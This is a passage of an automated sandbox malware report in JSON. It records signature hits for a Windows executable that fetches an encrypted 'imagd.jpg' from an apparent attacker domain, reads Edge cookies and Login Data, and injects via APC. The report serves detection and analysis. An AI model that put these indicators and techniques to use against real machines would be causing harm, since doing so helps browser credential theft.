00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"$39","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"$3a","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")\n Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"Contains reference to licensed c/c++ library","description":"Found string \"Copyright (c) 1992-2004 by P.J. Plauger, licensed by Dinkumware, Ltd. ALL RIGHTS RESERVED.\" (Indicator: \"Copyright (c) 1992-2004 by P.J. Plauger\n licensed by Dinkumware\n Ltd. ALL RIGHTS RESERVED.\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-462","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\SM0:6900:304:WilStaging_02\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"SM0:6900:120:WilError_01\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6900:304:WilStaging_02\"\n \"\\Sessions\\1\\BaseNamedObjects\\SM0:6900:120:WilError_01\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"Found user-agent related strings","description":"Found string \"User-Agent: HTTPREAD\" (Indicator: \"user-agent: \"; Source: \"00000000-00006900.00000000.68879.03400000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"$3c","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$3d","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\".exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at BAEF0000\n \".exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at B9950000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\".exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at BB1B0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a000000000040c736baf87f0000@ntdll.dll\"\n \"220023000000000018c736baf87f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\" was detected as \"Microsoft Visual C/C++\" and name: \"Compiler\"\n \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\" has an writable section named \".data\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"\"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\" file has an entrypoint instructions - \"sub\trsp, 0x28,call\t0x100068a94,add\trsp, 0x28,jmp\t0x100021b01,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,nop\tword ptr [rax + rax],cmp\trcx, qword ptr [rip + 0x13e19],jne\t0x1000683bb,rol\trcx, 0x10,test\tcx, 0xffff,jne\t0x1000683b7,ret\t0,ror\trcx, 0x10,jmp\t0x100068b50,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,mov\tqword ptr [rsp + 0x10], rbx,mov\tdword ptr [rsp + 0x18], r8d,\"","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"PE file has a high image base","description":"\"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\" has high imagebase \"0x100000000\"","origin":"Static Parser","relevance":1,"id":"static-93","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"app.nnnaajjjgc.com\"\n \"z.nnnaajjjgc.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\".exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\".exe\" creates a thread in process \"-1\" (Handle: 4294967295)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"imagd_1_.jpg\" has type \"JPEG image data JFIF standard 1.01 aspect ratio density 1x1 segment length 16 baseline precision 8 1080x1440 components 3\"- [targetUID: 00000000-00006900]\n \"Login Data111\" has type \"SQLite 3.x database last written using SQLite version 3038005\"- Location: [%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\Login Data111]- [targetUID: 00000000-00006900]\n \"ba6adc77bd6cd755b7b3704fedfbb6a0\" has type \"SQLite 3.x database last written using SQLite version 3039003\"- Location: [%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\Network\\ba6adc77bd6cd755b7b3704fedfbb6a0]- [targetUID: 00000000-00006900]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$3f","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\".exe\" queries basic process information of the \"C:\\ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.exe\" (UID: 6900)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$40","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\".exe\" called \"NtQueueApcThread\" (UID: 00000000-00006900)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\".exe\" reads file \"c:\\users\\%osuser%\\appdata\\local\\microsoft\\edge\\user data\\default\\network\\cookies\"\n \".exe\" reads file \"c:\\users\\%osuser%\\appdata\\local\\microsoft\\edge\\user data\\local state\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Contains ability to delay the execution of current thread","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$41","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\".exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCache\"\n \".exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCookies\"\n \".exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\History\"\n \".exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\4EKOOWYY\\imagd[1].jpg\"\n \".exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\"\n \".exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies\"\n \".exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\History\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$42","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"\".exe\" trying to access non-existent file \"C:\\BA6576E842991FD627FFB782AE60A4C694C77B963C5AFC73BC358C2CB27C3B57.EXE.LOCAL\"\n \".exe\" trying to access non-existent file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\LOCAL STATE\"\n \".exe\" trying to access non-existent file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Network\\BA6ADC77BD6CD755B7B3704FEDFBB6A0-JOURNAL\"\n \".exe\" trying to access non-existent file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Network\\BA6ADC77BD6CD755B7B3704FEDFBB6A0-WAL\"\n \".exe\" trying to access non-existent file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\LOGIN DATA111-JOURNAL\"\n \".exe\" trying to access non-existent file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\LOGIN DATA111-WAL\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\".exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\microsoft\\windows\\inetcache\\ie\\4ekoowyy\\imagd[1].jpg\"\n \".exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\microsoft\\edge\\user data\\default\\network\\ba6adc77bd6cd755b7b3704fedfbb6a0\"\n \".exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\microsoft\\edge\\user data\\default\\login data111\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to retrieve the URL data","description":"\".exe\" called \"InternetReadFile\" with parameter 2000000 (UID: 00000000-00006900)","origin":"API Call","mitre_attack_id":"T1105","relevance":3,"id":"api-118","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to send the specified request to the HTTP server","description":"$43","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-190","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to to receive the response to a HTTP requests","description":"\".exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"59d1990\"\n \"lpReserved\": \"0\"}\n \".exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"5d9fa00\"\n \"lpReserved\": \"0\"}","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-191","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Network Related","name":"Calls an API used to connect to internet","description":"\".exe\" called \"InternetOpenA with parameter HTTPREAD\" (UID: 00000000-00006900)","origin":"API Call","mitre_attack_id":"T1071.001","relevance":1,"id":"api-199","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"$44","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$45","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Network Related","name":"Contains ability to download a file from a URL (API string)","description":"Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00006900.00000000.68879.6D1E6000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E6000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E6000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-241","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows internet services (API string)","description":"Found reference to API \"InternetOpenA\" (Indicator: \"InternetOpen\"; Source: \"00000000-00006900.00000000.68879.6D1E6000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E6000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E6000.00000040.mdmp\")\n Found reference to API \"InternetOpenUrlA\" (Indicator: \"InternetOpen\"; Source: \"00000000-00006900.00000000.68879.6D1E6000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E6000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E6000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-539","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$46","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$47","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00006900.00000000.68879.00F94000.00000004.mdmp, 00000000-00006900.00000001.70800.059CC000.00000004.mdmp, 00000000-00006900.00000002.72721.05E45000.00000004.mdmp\")\n Found string \"GET /sts/imagd.jpg HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00006900.00000000.68879.03400000.00000004.mdmp\")\n Found string \"Hostz.nnnaajjjgc.comGET /sts/imagd.jpg HTTP/1.1X\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00006900.00000000.68879.03400000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Network Related","name":"GETs files from a webserver (HTTPS)","description":"GET /sts/imagd.jpg HTTP/1.1User-Agent: HTTPREAD\n Host: z.nnnaajjjgc.com\n Cache-Control: no-cache\n\n GET /service/msn/livetile/singletile?market=en-US&source=appxmanifest&tenant=amp&vertical=finance HTTP/1.1Connection: Keep-Alive\n User-Agent: Microsoft-WNS/10.0\n Host: assets.msn.com\n\n GET /service/msn/livetile/singletile?market=en-US&source=appxmanifest&tenant=amp&vertical=sports HTTP/1.1Connection: Keep-Alive\n User-Agent: Microsoft-WNS/10.0\n Host: assets.msn.com","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Network Related","name":"HTTP request contains Base64 encoded artifacts","description":"$48","origin":"Network Traffic","mitre_attack_id":"T1132.001","relevance":7,"id":"network-20","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x00000303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://z.nnnaajjjgc.com/sts/imagd.jpg\n Found HTTPS GET request to https://assets.msn.com/service/msn/livetile/singletile?market=en-US&source=appxmanifest&tenant=amp&vertical=finance\n Found HTTPS GET request to https://assets.msn.com/service/msn/livetile/singletile?market=en-US&source=appxmanifest&tenant=amp&vertical=sports","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"156.236.72.121\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES Encryption","description":"YARA signature for AES encryption matched on process \"00000000-00006900\"\n YARA signature for AES encryption matched on file \"imagd_1_.jpg\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\".exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \".exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"8\"\n \"th32ProcessID\": \"5268\"}\n \".exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"8\"\n \"th32ProcessID\": \"5148\"}\n \".exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"8\"\n \"th32ProcessID\": \"7248\"}\n \".exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"8\"\n \"th32ProcessID\": \"7364\"}\n \".exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"8\"\n \"th32ProcessID\": \"7040\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"Found string \"OFTWARE\\Microsoft\\Cryptography\\Defaults\\Provider\\Microsoft Enhanced RSA and AES Cryptographic Provider\" (Indicator: \"aes\"; Source: \"00000000-00006900.00000000.68879.03400000.00000004.mdmp\")\n Found string \"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256\" (Indicator: \"aes\"; Source: \"00000000-00006900.00000000.68879.03400000.00000004.mdmp, 00000000-00006900.00000001.70800.03400000.00000004.mdmp, 00000000-00006900.00000002.72721.03400000.00000004.mdmp\")\n Found string \"ECDSA\" (Indicator: \"ecdsa\"; Source: \"00000000-00006900.00000000.68879.03400000.00000004.mdmp, 00000000-00006900.00000001.70800.03400000.00000004.mdmp, 00000000-00006900.00000002.72721.03400000.00000004.mdmp\")\n Found string \"Microsoft Enhanced RSA and AES Cryptographic Provider\" (Indicator: \"aes\"; Source: \"00000000-00006900.00000000.68879.03400000.00000004.mdmp, 00000000-00006900.00000001.70800.03400000.00000004.mdmp, 00000000-00006900.00000002.72721.03400000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"$49","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$4a","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query registry keys (API string)","description":"$4b","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$4c","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about operating system (API string)","description":"Found reference to API \"RtlGetNtProductType\" (Indicator: \"RtlGetNtProductType\"; File: \"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin\")\n Found reference to API \"RtlGetNtProductType\" (Indicator: \"RtlGetNtProductType\"; Source: \"00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains 